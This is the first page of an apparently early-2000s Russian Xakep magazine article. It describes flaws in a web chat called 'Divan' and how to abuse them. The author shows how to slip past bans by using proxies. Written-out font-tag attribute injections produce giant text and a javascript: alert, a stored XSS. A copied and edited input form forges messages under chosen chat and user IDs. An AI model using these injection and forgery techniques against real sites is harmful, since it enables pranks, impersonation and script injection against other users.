|

Выносим диван - приносим бабки!
Xakep, номер #022, стр. 022-056-1
X-KoDeX (root@hackers-paradise.com) www.hckers-paradise.com
А как все хорошо начиналось!..
Началась эта история в январе Y2K, когда я обнаружил в сети некий чатец.
Звался он "Диваном".
Чат мне понравился (насколько может понравиться www-чат по сравнению с комфортным IRC :-///) - установки цвета, качественно выполненный приват и все такое, и etc.(не в смысле /passwd ;)). Так вот, я в этом чате стал иногда появляться, и все бы хорошо, да слишком часто в чат заходили разные отморозки, которые мешали нормально поговорить и девчонку склеить, etc. Такой расклад меня не устраивал, и я, есесно, решил поправить дело =).
Как известно, в чатах (да и вообще во всяких ирцках) имеются опы, админы, модераторы и прочая нечисть. На Диване имеются админы, которые делают временное
отключение, т.е. типа "три дня ты тут хрен появишься".
"Ну... это как сказать...", - отвечаем мы :).
Берем проксю, заходим & no problem... только сделаем еще один финт - после входа отключим
проксю
, и таким образом при следующем "отключении" прокся остается чистой >:).
Баги "Дивана"
Фишка №1. В чате разрешен тэг font, точнее только font color, но это только кажется ;). Итак, пишем прямо в тексте сообщения <font color='00ff00" size=6 face=Impact "'>Hi all!</font>. Что получится из этого, думаю, ясно.
А теперь продолжим эту идею: <font color='00ff00" style="font-size:200px;font-family:Impact;background:url(http://бесплатный сервак.ру/картинка.гиф)" "'>Hi all!</font>
Получаем текст в 200 пикселей с фоновой картинкой.
<font color='00ff00" style="background:url(javascript:alert("Hello!"))" "'>Hi all!</font>
Получаем джавскриптовский алерт. На эту тему можно придумать массу шуток и подстав. ;)
Фишка №2. Эта фишка интереснее и полезнее первой. Причем этой же бедой страдают 90% других хтмл-чатов. Как говорилось ранее, в чате есть настройки цвета. Открываем сурс нижнего фрейма (тот, который с формой ввода), наводим фокус на следующие части кода:
<form method="POST" action="divan#end" target="html">
<input type="hidden" name="dn" value="">
<input name="text" size=50 maxlength=512>
<input type="hidden" name="pt" value="t">
<input type="hidden" name="u" value="1693783577">
<input type="hidden" name="a" value="send">
<input type="submit" value="Отослать">
<input type="button" value="Очистить">
<input name="color" type="radio" value="color">
<select name="all">
<option value="ffffff" selected>Default
<option value="ff0000">Красный
<option value="00ff00">Зеленый
<option value="0000ff">Синий
<option value="ffee00">Желтый
</select>...
Копируем себе, правим action="divan#end" на action="http://www.divan.ru/fcgi/divan#end",
меняем hidden на text у параметров с именами dn(id дивана), u(id юзера), а также заменим select name="all" на input type="text" name="all".
Ну вот, файл готов. Теперь в поле dn вводим ид дивана, на который хотим писать. Этот ид можно наблюдать в правом фрейме чата в "списке присутствующих", там же ид юзера:
a href="divan?a=g&u=1693783577&dn=DhbmsNlem" target="output"><b>Диван у Омена.
Содержание Вперед на стр. 022-056-2
|